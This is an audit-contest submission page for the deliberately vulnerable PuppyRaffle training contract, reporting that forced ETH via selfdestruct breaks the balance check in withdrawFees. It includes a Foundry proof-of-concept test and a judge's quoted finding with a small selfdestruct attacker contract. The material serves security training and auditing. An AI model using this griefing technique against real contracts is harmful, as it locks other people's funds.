Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

DoS attack

jfornells

PuppyRaffle::withdrawFees can be rendered unusable by an attacker, preventing protocol fees from being withdrawn

Description

  • PuppyRaffle::withdrawFees should allow protocol fees to be withdrawn when there is no active raffle.

  • The function assumes the contract balance can only change through normal protocol flow. Although the contract has no receive() or fallback(), an attacker can force ETH into the contract via selfdestruct.
    This causes address(this).balance to differ from totalFees, making the require condition always fail and leaving the withdrawFees() function unusable.

function withdrawFees() external {
@> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Risk

Likelihood: Medium

  • Any user can execute a contract with selfdestruct to forcibly send ETH.

Impact: High

  • Protocol fees are locked indefinitely, causing DoS / griefing with no economic benefit for the attacker.

Proof of Concept

This test demonstrates that PuppyRaffle::withdrawFees can become unusable when an attacker forces ETH into the contract via selfdestruct.

function test_Cannot_Withdraw_Fees() public {
// Assign 8 ETH to playerOne to enter the raffle
deal(playerOne, 8 ether);
​
// Simulate all actions as playerOne
vm.startPrank(playerOne);
​
// Create an array of 4 legitimate players
address;
newPlayers[0] = playerOne;
newPlayers[1] = playerTwo;
newPlayers[2] = playerThree;
newPlayers[3] = playerFour;
​
// Enter the raffle with a total of 4 ETH
puppyRaffle.enterRaffle{value: 4 ether}(newPlayers);
​
// Advance time so the raffle can finish
vm.warp(block.timestamp + 1 days);
​
// Deploy the attacking contract that forces 1 wei via selfdestruct
new AttackDestruct{value: 1}(address(puppyRaffle));
​
// Select the winner correctly
puppyRaffle.selectWinner();
​
// Fee withdrawal should revert
// because the balance no longer matches totalFees
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}

Recommended Mitigation

Mitigation consists of directly checking for active players using the contract's internal state (players.length), instead of relying on the contract balance.

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(players.length == 0, "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 9 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!